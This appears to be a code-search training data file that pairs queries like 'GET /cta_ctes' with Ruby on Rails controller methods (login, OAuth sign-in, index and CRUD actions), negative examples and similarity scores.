"def create\n \tuser = User.find_by(email: params[:session][:email].downcase)\n \tif user and user.authenticate(params[:session][:password])\n \t\tlog_in(user)\n # redirect_to \"/users/#{user.id}\"\n redirect_to '/'\n \telse\n \t\tflash.now[:danger] = \"Invalid email/password confirmation!\"\n \t\trender 'new'\n \tend\n end",
"def create\n # Get submitted email and password\n address = params[:session][:email]\n password = params[:session][:password]\n\n # Pull the user from the db\n user = User.find_by(email: address.downcase)\n\n # User exists and password is correct\n if user && user.authenticate(password)\n # Login user\n create_session user\n\n # Show user profile page\n redirect_to user\n\n # There were invalid credentials\n else\n # Show an error message\n flash.now[:warning] = \"You cocked up. Try again.\"\n\n # Show login page again\n render 'new'\n end\n end",
"def new\n \n if request.env['omniauth.auth'].present?\n params = request.env[\"omniauth.params\"]\n\n @fb_data = fetch_facebook_params\n @user = Spree::User.where(email: @fb_data[:email]).first\n\n\n if (@user.blank? && params[\"login\"].present?) || (@user.present? && is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?)\n\n #here need to check if it's a fb registered user + in params we must receive login\n #if !is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?\n #use the @not_yet_fb_signed_up to notify the message at the top.\n\n @not_yet_fb_signed_up = true\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n #user does not registered yet & coming for signup(or login params is blank.)\n elsif @user.blank? && params[\"login\"].blank?\n @user = Spree::User.new(email: @fb_data[:email], facebook_token: @fb_data[:fb_token], image: @fb_data[:image])\n @user.addresses.build\n @user.creditcards.build\n @user.addresses.first.firstname = @fb_data[:firstname]\n @user.addresses.first.lastname = @fb_data[:lastname]\n\n #user is registered & still trying for signup via facebook\n elsif @user.present? && params[\"login\"].blank?\n @registered_email = @user.email\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n else\n #update the token if @user_founds token is not same as the @fb_token\n @user.update_attributes(facebook_token: @fb_data[:fb_token], image: @fb_data[:image]) if @user.facebook_token != @fb_data[:fb_token]\n sign_in(:spree_user, @user)\n redirect_to spree.snack_queue_orders_path\n end\n\n else\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n end\n @subscriptions = Subscription.select('id, subscription_type', 'plan_price')\n @snacks = Spree::Product.limit(6)\n @snacks.sort_by! { |x| x[:name].downcase }\n\n end",
"def create\n email = params[:session][\"email\"] # both will work ->: will use less memory\n password = params[:session][:password]\n user = User.authenticate(email, password)\n \n if user # if auth is successful\n session[:user_id] = user.id # this is a session\n flash[:notice] = \"You are logged in.\"\n redirect_to session[:referrer] || :root # to whatever is the root of your webserver ()\n #:referrer -> send to page that started from (if tried to edit if not logged in)\n else # if wrong credentials\n flash[:error] = \"add to your FAIL blog and Please try again!\"\n render :action => \"new\" # just shows def new end (at the beginning again)\n end\n end",
"def create\n data = request.env[\"omniauth.auth\"][:extra][:raw_info]\n attributes = { :github_data => data, :github_access_token => request.env[\"omniauth.auth\"][:credentials][:token] }\n user = User.find_or_create_by_username(data[:login], attributes)\n \n session[:user_id] = user.id\n redirect_to root_url, :notice => 'Successfully signed in via Github!'\n end",
"def create\n user = User.find_by :email => params[:email]\n if user.present? && user.authenticate(params[:password])\n session[:user_id] = user.id\n redirect_to dashboard_path\n else\n flash[:error] = \"Invalid email or password\"\n redirect_to login_path\n end\nend",
"def create\n merchant = Merchant.find_by(email: params[:session][:email].downcase)\n if merchant && merchant.authenticate(params[:session][:password])\n \t # check if this merchant provided his/her store details\n \t if !provided_store_details?(merchant)\n \t \t# set active session and render the merchant page with store details form\n\t start_registration_step \"store_details\"\n\t active_merchant_id merchant\n\t process_registration_steps \"merchant_details\"\n \t \t flash.now['danger'] = \"You did not complete step two of your registration (Merchant Store Details). \n \t \t Please click on this <a href='/merchants/signup'>link</a> to continue\"\n \t \t render 'new'\n \t elsif !is_merchant_email_verified?(merchant.email_verified)\n \t \t# set active session and render the merchant page with store details form\n\t start_registration_step \"verify_email\"\n\t active_merchant_id merchant\n\t process_registration_steps \"merchant_details\"\n\t process_registration_steps \"store_details\"\n \t \t flash.now['danger'] = \"Your email address is not yet verified, please visit your inbox or click <a href='/merchants/signup'>here</a> for a new verification request\"\n \t \t render 'new'\n else\n \t log_in merchant # log in the existing merchant\n redirect_to '/merchants'\n end\n else\n \t flash.now['danger'] = 'Invalid Email/Password provided, please try again.'\n render 'new'\n end\n end",
"def sign_in\n if params[:password] and user = User.find_by_email(params[:email])\n #cipher = Gibberish::AES.new(user.security_token)\n if BCrypt::Password.new(user.encrypted_password) == params[:password]\n token = user.access_tokens.create\n user.save\n msg = { status: STATUS_SUCCESS, token: token.access_token, user: token.user.email, message: SUCCESS_MESSAGE }\n render json: msg\n else\n msg = { status: STATUS_ERROR, message: CREDENTIAL_ERROR_MSG }\n render json: msg\n end\n else\n msg = { status: STATUS_ERROR, message: CREDENTIAL_ERROR_MSG }\n render json: msg\n end\n #TODO\n end"
] |
[
"0.7690317",
"0.7585825",
"0.7579807",
"0.741191",
"0.7381806",
"0.7373816",
"0.7372198",
"0.73613864",
"0.73546827",
"0.73500377",
"0.7330853",
"0.7311239",
"0.73062986",
"0.72571105",
"0.7226174",
"0.71912503",
"0.7179709",
"0.71629757",
"0.71334356",
"0.7108407",
"0.7104814",
"0.71033156",
"0.70987326",
"0.70961463",
"0.70892656",
"0.70570624",
"0.7023183",
"0.7007809",
"0.70029503",
"0.6994024",
"0.6988939",
"0.6984414",
"0.69601905",
"0.69424087",
"0.6930096",
"0.6911746",
"0.68853736",
"0.6870429",
"0.6865825",
"0.68462",
"0.68456703",
"0.6832323",
"0.6828177",
"0.68279904",
"0.68249685",
"0.6819464",
"0.6810191",
"0.6800202",
"0.6787322",
"0.67861897",
"0.6784302",
"0.67819226",
"0.6780957",
"0.6776087",
"0.67645097",
"0.6757477",
"0.6754397",
"0.6751295",
"0.6743916",
"0.6735238",
"0.6734945",
"0.67341805",
"0.6733861",
"0.672788",
"0.6726912",
"0.6724002",
"0.67231494",
"0.6722898",
"0.6721698",
"0.67178106",
"0.67094755",
"0.67082614",
"0.67061526",
"0.6691857",
"0.6690202",
"0.66872513",
"0.6685488",
"0.6678295",
"0.66776246",
"0.6670543",
"0.6669316",
"0.6667783",
"0.6649629",
"0.66495013",
"0.6647354",
"0.6647254",
"0.66352665",
"0.66346246",
"0.6631527",
"0.6630544",
"0.66271794",
"0.6626329",
"0.6621699",
"0.6620346",
"0.66185546",
"0.66162884",
"0.6615611",
"0.66154104",
"0.6612825",
"0.6610141",
"0.66095096"
] |
0.0
|
-1
|
GET /cta_ctes GET /cta_ctes.json
|
def index
@cta_ctes = CtaCte.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @cta = Cta.all\n end",
"def set_cta_cte\n @cta_cte = CtaCte.find(params[:id])\n end",
"def index\n @ctos = Cto.all\n end",
"def index\n @cts = Ct.all\n end",
"def set_cta\n @cta = cta.find(params[:id])\n end",
"def list_tenants_for_circle(args = {}) \n get(\"/tenantcircles.json/tenants\", args)\nend",
"def create\n @cta_cte = CtaCte.new(cta_cte_params)\n\n respond_to do |format|\n if @cta_cte.save\n format.html { redirect_to @cta_cte, notice: 'Se creo correctamente.' }\n format.json { render :show, status: :created, location: @cta_cte }\n else\n format.html { render :new }\n format.json { render json: @cta_cte.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cta = Cta.new(cta_params)\n\n respond_to do |format|\n if @cta.save\n format.html { redirect_to @cta, notice: 'cta was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cta }\n else\n format.html { render action: 'new' }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cta_params\n params.require(:cta).permit(:cta1_header, :cta1_caption, :cta1_url, :cta1_button, :cta2_header, :cta2_caption, :cta2_url, :cta2_button, :cta3_header, :cta3_caption, :cta3_url, :cta3_button)\n end",
"def cta_url(cta)\n orzoro_cta_url(cta)\n end",
"def index\n @cfcts = Cfct.all\n end",
"def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend",
"def index\n @tccapis = Tccapi.all\n end",
"def index\n @cets = Cet.all\n end",
"def contas\n list_contas = JSON.parse(get_and_give_me_a_json(\"/contas\"))\n rtn = []\n list_contas.each do |c_map|\n conta = Taxcalendario::Admin::Client::Entities::Conta.new\n conta.from_hash(c_map)\n rtn << conta\n end\n rtn\n end",
"def cft_list\n @client.make_request :get, templates_path('cft')\n end",
"def index\n @cotacts = Cotact.all\n end",
"def listcrts(options = {})\n server.force_response_type = :ssl\n result = server.perform_request('listcrts', options.merge(:response_key => 'crt'))\n end",
"def get_cabinets(options={})\n parser.cabinets_parser(get({ path: ROUTES[:get_cabinets].call, headers: authorization_header_for_rest_api }))\n end",
"def do_get_cats_data\n message = {country_id: @client.country_code, webapi_key: @client.webapi_key}\n @client.call(:do_get_cats_data, message: message)\n end",
"def ct\n state[\"ct\"]\n end",
"def cta_cte_params\n params.require(:cta_cte).permit(:matriculacion_id, :nro_cta_cte)\n end",
"def index\n @template_cates = Templates::Cate.all\n end",
"def index\n @tocs = Toc.all\n end",
"def index\n @twallets_cs = TwalletsC.all\n end",
"def index\n @tacos = Taco.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render @tacos }\n end\n end",
"def index\n @consents = Consent.all\n render json: @consents\n end",
"def update\n respond_to do |format|\n if @cta_cte.update(cta_cte_params)\n format.html { redirect_to @cta_cte, notice: 'Cta cte was successfully updated.' }\n format.json { render :show, status: :ok, location: @cta_cte }\n else\n format.html { render :edit }\n format.json { render json: @cta_cte.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ct = Ct.new(ct_params)\n\n respond_to do |format|\n if @ct.save\n format.html { redirect_to @ct, notice: 'Ct was successfully created.' }\n format.json { render :show, status: :created, location: @ct }\n else\n format.html { render :new }\n format.json { render json: @ct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @concerts = Concert.all\n end",
"def index\n @concerts = Concert.all\n end",
"def index\n @concerts = Concert.all\n end",
"def index\n @concerts = Concert.all\n end",
"def index\n @tracs = Trac.all\n end",
"def cities\n CS.get :us, :ca\n end",
"def destroy\n @cta_cte.destroy\n respond_to do |format|\n format.html { redirect_to cta_ctes_url, notice: 'Cta cte was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @congties = Congty.all\n end",
"def destroy\n @cta = Cta.find(params[:id])\n @cta.destroy\n\n respond_to do |format|\n format.html { redirect_to ctas_url }\n format.json { head :no_content }\n end\n end",
"def index\n @cicts = Cict.all\n end",
"def index\n @cas = Ca.all\n end",
"def list_case_citations_tease(database_id, case_id)\n query = @request.get ['caseCitatorTease', database_id, case_id, 'citingCases']\n result_array = query[\"citingCases\"]\n result_array.length > 0 ? convert_to_hash(result_array) : []\n end",
"def index\n @mycometer_cocs = MycometerCoc.all\n end",
"def show\n @cto = Cto.find(params[:id])\n end",
"def create\n @cfct = Cfct.new(cfct_params)\n\n respond_to do |format|\n if @cfct.save\n format.html { redirect_to @cfct, notice: 'Cfct was successfully created.' }\n format.json { render :show, status: :created, location: @cfct }\n else\n format.html { render :new }\n format.json { render json: @cfct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @ccostos = Ccosto.all\n end",
"def index\n @cabines = Cabine.all\n render json: @cabines\n end",
"def destroy\n @cta.destroy\n respond_to do |format|\n format.html { redirect_to cta_url }\n format.json { head :no_content }\n end\n end",
"def show\n @cerc = Cerc.find(params[:id])\n\n render json: @cerc\n end",
"def index\n @cofs = Cof.all\n end",
"def index\n @capexes = Capex.all\n end",
"def index\n @t_complaints = TComplaint.all\n end",
"def index\n @cetegories = Cetegory.all\n end",
"def credit\n handle_response(get(\"/credit.json\"))\n end",
"def index\n @citacaos = Citacao.all\n end",
"def index\n @citations = Citation.all\n\n render json: @citations\n end",
"def index\n @crags = Crag.all\n end",
"def create\n @cto = Cto.new(cto_params)\n\n respond_to do |format|\n if @cto.save\n format.html { redirect_to @cto, notice: 'Cto was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cto }\n else\n format.html { render action: 'new' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @cants = Cant.all\n end",
"def list_cited_legislations_tease(database_id, case_id)\n @request.get ['caseCitatorTease', database_id, case_id, 'citedLegislations']\n end",
"def creditCardIndex\n render json: Approved.allCreditCard\n end",
"def index\n @circuses = Circus.all\n end",
"def arrivals\n require 'cobravsmongoose'\n require 'open-uri'\n \n begin\n response = open(\"http://lapi.transitchicago.com/api/1.0/ttarrivals.aspx?key=04dec4048adc48b580220bb154ea0014&mapid=\" + self.cta_id.to_s).read\n arrays_of_hashes = CobraVsMongoose.xml_to_hash(response)\n \n return [arrays_of_hashes['ctatt']['eta']] if arrays_of_hashes['ctatt']['eta'][0].nil?\n \n arrays_of_hashes['ctatt']['eta']\n rescue\n []\n end\n end",
"def index\n @cages = current_user.cages\n\n respond_to do |format|\n format.json { render json: @cages }\n end\n end",
"def index\n @crates = Crate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crates }\n end\n end",
"def list_all_tenantcircles_for_a_version_box(args = {}) \n get(\"/aosversions.json/aosversionbox/circles/#{args[:aosVersionBoxId]}\", args)\nend",
"def index\n @casas = Casa.all\n end",
"def set_ct\n @ct = Ct.find(params[:id])\n end",
"def index\n @crates = Crate.all\n end",
"def cost(args = {})\n make_request(\n http_method: :get,\n endpoint: path_for(:cost),\n access_token: args.delete(:access_token),\n options: { query: args }\n )\n end",
"def ctm\n state[:ctm]\n end",
"def ctm\n state[:ctm]\n end",
"def index\n @calves = Calf.all\n end",
"def index\n @creaditcharges = Creaditcharge.all\n end",
"def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end",
"def index\n @converstation_requests = ConverstationRequest.all\n end",
"def _state_cams(state_id)\n get('state/cams', state_id, options: { type: :array })\n end",
"def set_cto\n @cto = Cto.find(params[:id])\n end",
"def index\n @coats = Coat.all\n end",
"def index\n @casos = Caso.all\n end",
"def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end",
"def index\n @congressos = Congresso.all\n end",
"def destroy\n @cfct.destroy\n respond_to do |format|\n format.html { redirect_to cfcts_url }\n format.json { head :no_content }\n end\n end",
"def index\n @cannings = Canning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cannings }\n end\n end",
"def create\n @cotact = Cotact.new(cotact_params)\n\n respond_to do |format|\n if @cotact.save\n format.html { redirect_to @cotact, notice: 'Cotact was successfully created.' }\n format.json { render :show, status: :created, location: @cotact }\n else\n format.html { render :new }\n format.json { render json: @cotact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @cancellations = Cancellation.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml # index.xml.builder\n end\n end",
"def index\n @incidentcategories = Incidentcategory.all\n json_response(@incidentcategories)\n end",
"def index\n @contestants = Contestant.all\n end",
"def set_cfct\n @cfct = Cfct.find(params[:id])\n end",
"def index\n @clins = Clin.all\n end",
"def index\n @cn_curves = CnCurve.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cn_curves }\n end\n end",
"def index\n @cgvs = Cgv.order('created_at')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cgvs }\n end\n end",
"def index\n @cp_changes = CpChange.all\n\n render json: @cp_changes\n end",
"def index\n @xrf_cocs = XrfCoc.all\n end",
"def index\n #@csosns = Csosn.all\n @csosns = Csosn.paginate(:page => params[:page], :per_page => 10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @csosns }\n end\n end",
"def cities\n cities = CS.cities(params[:id], :GB)\n if cities.blank?\n country = ISO3166::Country.find_country_by_alpha3(params[:id])\n cities = country_cites(country)\n return(render json: { message: I18n.t(:invalid_country) }) if cities.blank?\n end\n render json: cities\n end",
"def index\n @tangents = Tangent.all\n end",
"def get_citations(word, *args)\n http_method = :get\n path = '/word/{word}/citations'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def index\n @cancellors = Cancellor.all\n end",
"def index\n @candies = Candy.all\n end",
"def index\n @candies = Candy.all\n end"
] |
[
"0.6766735",
"0.6536953",
"0.61619496",
"0.6160475",
"0.6144055",
"0.61351055",
"0.61277616",
"0.60599494",
"0.60330796",
"0.6006532",
"0.59637034",
"0.5902809",
"0.5875919",
"0.58559465",
"0.58408",
"0.58312565",
"0.5806932",
"0.5750383",
"0.56878304",
"0.56671757",
"0.565348",
"0.56372684",
"0.5588145",
"0.55723196",
"0.5569241",
"0.5547018",
"0.5498747",
"0.54983264",
"0.5497969",
"0.5482872",
"0.5482872",
"0.5482872",
"0.5482872",
"0.5482736",
"0.54622865",
"0.54549724",
"0.5440346",
"0.54367566",
"0.5418895",
"0.5400307",
"0.53909475",
"0.5380577",
"0.5374845",
"0.53503096",
"0.53147435",
"0.53022456",
"0.5301621",
"0.52966285",
"0.5296266",
"0.52896804",
"0.527694",
"0.5265061",
"0.5248379",
"0.5240445",
"0.52383584",
"0.52262723",
"0.52258515",
"0.52255356",
"0.5214407",
"0.51950026",
"0.5189448",
"0.51845014",
"0.5182514",
"0.5181843",
"0.5179139",
"0.5177683",
"0.51623553",
"0.51602066",
"0.515762",
"0.51455754",
"0.51455754",
"0.5145102",
"0.51334304",
"0.51301444",
"0.51092535",
"0.51077336",
"0.51036304",
"0.5097739",
"0.50950086",
"0.5089289",
"0.506993",
"0.5065024",
"0.5059945",
"0.50563514",
"0.5055778",
"0.5052125",
"0.5047362",
"0.5039349",
"0.503771",
"0.5026968",
"0.5024773",
"0.5021289",
"0.5017422",
"0.50151765",
"0.5013711",
"0.50092214",
"0.5007269",
"0.5002838",
"0.4998087",
"0.4998087"
] |
0.7110192
|
0
|
GET /cta_ctes/1 GET /cta_ctes/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @cta_ctes = CtaCte.all\n end",
"def index\n @cta = Cta.all\n end",
"def set_cta_cte\n @cta_cte = CtaCte.find(params[:id])\n end",
"def set_cta\n @cta = cta.find(params[:id])\n end",
"def create\n @cta = Cta.new(cta_params)\n\n respond_to do |format|\n if @cta.save\n format.html { redirect_to @cta, notice: 'cta was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cta }\n else\n format.html { render action: 'new' }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cta_cte = CtaCte.new(cta_cte_params)\n\n respond_to do |format|\n if @cta_cte.save\n format.html { redirect_to @cta_cte, notice: 'Se creo correctamente.' }\n format.json { render :show, status: :created, location: @cta_cte }\n else\n format.html { render :new }\n format.json { render json: @cta_cte.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @ctos = Cto.all\n end",
"def index\n @cts = Ct.all\n end",
"def list_tenants_for_circle(args = {}) \n get(\"/tenantcircles.json/tenants\", args)\nend",
"def cta_params\n params.require(:cta).permit(:cta1_header, :cta1_caption, :cta1_url, :cta1_button, :cta2_header, :cta2_caption, :cta2_url, :cta2_button, :cta3_header, :cta3_caption, :cta3_url, :cta3_button)\n end",
"def cta_url(cta)\n orzoro_cta_url(cta)\n end",
"def index\n @cfcts = Cfct.all\n end",
"def index\n @tccapis = Tccapi.all\n end",
"def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend",
"def index\n @cotacts = Cotact.all\n end",
"def index\n @cets = Cet.all\n end",
"def contas\n list_contas = JSON.parse(get_and_give_me_a_json(\"/contas\"))\n rtn = []\n list_contas.each do |c_map|\n conta = Taxcalendario::Admin::Client::Entities::Conta.new\n conta.from_hash(c_map)\n rtn << conta\n end\n rtn\n end",
"def ct\n state[\"ct\"]\n end",
"def cft_list\n @client.make_request :get, templates_path('cft')\n end",
"def show\n @cto = Cto.find(params[:id])\n end",
"def cta_cte_params\n params.require(:cta_cte).permit(:matriculacion_id, :nro_cta_cte)\n end",
"def index\n @tacos = Taco.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render @tacos }\n end\n end",
"def create\n @ct = Ct.new(ct_params)\n\n respond_to do |format|\n if @ct.save\n format.html { redirect_to @ct, notice: 'Ct was successfully created.' }\n format.json { render :show, status: :created, location: @ct }\n else\n format.html { render :new }\n format.json { render json: @ct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @cta = Cta.find(params[:id])\n @cta.destroy\n\n respond_to do |format|\n format.html { redirect_to ctas_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @cta_cte.update(cta_cte_params)\n format.html { redirect_to @cta_cte, notice: 'Cta cte was successfully updated.' }\n format.json { render :show, status: :ok, location: @cta_cte }\n else\n format.html { render :edit }\n format.json { render json: @cta_cte.errors, status: :unprocessable_entity }\n end\n end\n end",
"def do_get_cats_data\n message = {country_id: @client.country_code, webapi_key: @client.webapi_key}\n @client.call(:do_get_cats_data, message: message)\n end",
"def show\n @cerc = Cerc.find(params[:id])\n\n render json: @cerc\n end",
"def index\n @consents = Consent.all\n render json: @consents\n end",
"def index\n @template_cates = Templates::Cate.all\n end",
"def get_cabinets(options={})\n parser.cabinets_parser(get({ path: ROUTES[:get_cabinets].call, headers: authorization_header_for_rest_api }))\n end",
"def index\n @concerts = Concert.all\n end",
"def index\n @concerts = Concert.all\n end",
"def index\n @concerts = Concert.all\n end",
"def index\n @concerts = Concert.all\n end",
"def listcrts(options = {})\n server.force_response_type = :ssl\n result = server.perform_request('listcrts', options.merge(:response_key => 'crt'))\n end",
"def destroy\n @cta_cte.destroy\n respond_to do |format|\n format.html { redirect_to cta_ctes_url, notice: 'Cta cte was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @twallets_cs = TwalletsC.all\n end",
"def index\n @tocs = Toc.all\n end",
"def create\n @cfct = Cfct.new(cfct_params)\n\n respond_to do |format|\n if @cfct.save\n format.html { redirect_to @cfct, notice: 'Cfct was successfully created.' }\n format.json { render :show, status: :created, location: @cfct }\n else\n format.html { render :new }\n format.json { render json: @cfct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_ct\n @ct = Ct.find(params[:id])\n end",
"def destroy\n @cta.destroy\n respond_to do |format|\n format.html { redirect_to cta_url }\n format.json { head :no_content }\n end\n end",
"def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end",
"def index\n @tracs = Trac.all\n end",
"def index\n @congties = Congty.all\n end",
"def credit\n handle_response(get(\"/credit.json\"))\n end",
"def index\n @cabines = Cabine.all\n render json: @cabines\n end",
"def index\n @cas = Ca.all\n end",
"def index\n @cicts = Cict.all\n end",
"def set_cto\n @cto = Cto.find(params[:id])\n end",
"def create\n @cto = Cto.new(cto_params)\n\n respond_to do |format|\n if @cto.save\n format.html { redirect_to @cto, notice: 'Cto was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cto }\n else\n format.html { render action: 'new' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @cofs = Cof.all\n end",
"def index\n @mycometer_cocs = MycometerCoc.all\n end",
"def creditCardIndex\n render json: Approved.allCreditCard\n end",
"def index\n @citations = Citation.all\n\n render json: @citations\n end",
"def index\n @t_complaints = TComplaint.all\n end",
"def index\n @crates = Crate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crates }\n end\n end",
"def index\n @ccostos = Ccosto.all\n end",
"def cities\n CS.get :us, :ca\n end",
"def show\n @cec_complaint = CecComplaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cec_complaint }\n end\n end",
"def set_cfct\n @cfct = Cfct.find(params[:id])\n end",
"def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end",
"def index\n @citacaos = Citacao.all\n end",
"def list_all_tenantcircles_for_a_version_box(args = {}) \n get(\"/aosversions.json/aosversionbox/circles/#{args[:aosVersionBoxId]}\", args)\nend",
"def index\n @cetegories = Cetegory.all\n end",
"def index\n @capexes = Capex.all\n end",
"def index\n @crates = Crate.all\n end",
"def index\n @circuses = Circus.all\n end",
"def index\n @cants = Cant.all\n end",
"def show\n @affiliate_ctum = Affiliate::Ctum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @affiliate_ctum }\n end\n end",
"def index\n @casas = Casa.all\n end",
"def index\n @calves = Calf.all\n end",
"def index\n @crags = Crag.all\n end",
"def create\n @cotact = Cotact.new(cotact_params)\n\n respond_to do |format|\n if @cotact.save\n format.html { redirect_to @cotact, notice: 'Cotact was successfully created.' }\n format.json { render :show, status: :created, location: @cotact }\n else\n format.html { render :new }\n format.json { render json: @cotact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @cages = current_user.cages\n\n respond_to do |format|\n format.json { render json: @cages }\n end\n end",
"def show\n @cadet = Cadet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cadet }\n end\n end",
"def index\n @converstation_requests = ConverstationRequest.all\n end",
"def index\n @ctypes = Ctype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ctypes }\n end\n end",
"def index\n @cp_changes = CpChange.all\n\n render json: @cp_changes\n end",
"def index\n @congressos = Congresso.all\n end",
"def destroy\n @cfct.destroy\n respond_to do |format|\n format.html { redirect_to cfcts_url }\n format.json { head :no_content }\n end\n end",
"def get_CA(timeslot)\n id = timeslot.ca_id\n ca = Ca.find(id)\n return ca\nend",
"def index\n @cannings = Canning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cannings }\n end\n end",
"def index\n @cancellations = Cancellation.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml # index.xml.builder\n end\n end",
"def index\n @creaditcharges = Creaditcharge.all\n end",
"def index\n @coats = Coat.all\n end",
"def show\n @concerts = Concert.find(params[:id])\n end",
"def create\n @tccapi = Tccapi.new(tccapi_params)\n\n respond_to do |format|\n if @tccapi.save\n format.html { redirect_to @tccapi, notice: 'Tccapi was successfully created.' }\n format.json { render :show, status: :created, location: @tccapi }\n else\n format.html { render :new }\n format.json { render json: @tccapi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_request\n url = URI.parse(\"https://catfact.ninja/fact\")\n response = Net::HTTP.get_response(url)\n JSON.parse(response.body)[\"fact\"]\n end",
"def set_cotact\n @cotact = Cotact.find(params[:id])\n end",
"def cost(args = {})\n make_request(\n http_method: :get,\n endpoint: path_for(:cost),\n access_token: args.delete(:access_token),\n options: { query: args }\n )\n end",
"def index\n @incidentcategories = Incidentcategory.all\n json_response(@incidentcategories)\n end",
"def list_case_citations_tease(database_id, case_id)\n query = @request.get ['caseCitatorTease', database_id, case_id, 'citingCases']\n result_array = query[\"citingCases\"]\n result_array.length > 0 ? convert_to_hash(result_array) : []\n end",
"def index\n @cfos = Cfo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cfos }\n end\n end",
"def show\n @cocktail = Cocktail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cocktail }\n end\n end",
"def cert_chain\n service = Service.find(params[:id])\n response = service.certificate.full_chain(true)\n render json: response\n end",
"def index\n @cgvs = Cgv.order('created_at')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cgvs }\n end\n end",
"def index\n @casos = Caso.all\n end",
"def index\n @contestants = Contestant.all\n end",
"def credit\n handle_response(self.class.get(\"/credit.json\"))\n end",
"def index\n @cancellors = Cancellor.all\n end",
"def get_current_tenant \n get(\"/tenants.json/current\")\nend"
] |
[
"0.70399994",
"0.6825169",
"0.67215693",
"0.6432064",
"0.62761617",
"0.6240526",
"0.613184",
"0.61086094",
"0.6076107",
"0.6064877",
"0.59285164",
"0.5918199",
"0.58655304",
"0.58410215",
"0.57680374",
"0.57646877",
"0.56842613",
"0.5670593",
"0.56594473",
"0.56501085",
"0.56430954",
"0.5640067",
"0.56372267",
"0.56356424",
"0.5618735",
"0.55949986",
"0.55510503",
"0.5546944",
"0.5546052",
"0.55439806",
"0.5534575",
"0.5534575",
"0.5534575",
"0.5534575",
"0.5532526",
"0.55314434",
"0.54746366",
"0.5470667",
"0.5455235",
"0.5452083",
"0.5445415",
"0.54453754",
"0.54417145",
"0.54364187",
"0.54334253",
"0.5425635",
"0.54038334",
"0.53960824",
"0.5387503",
"0.53778255",
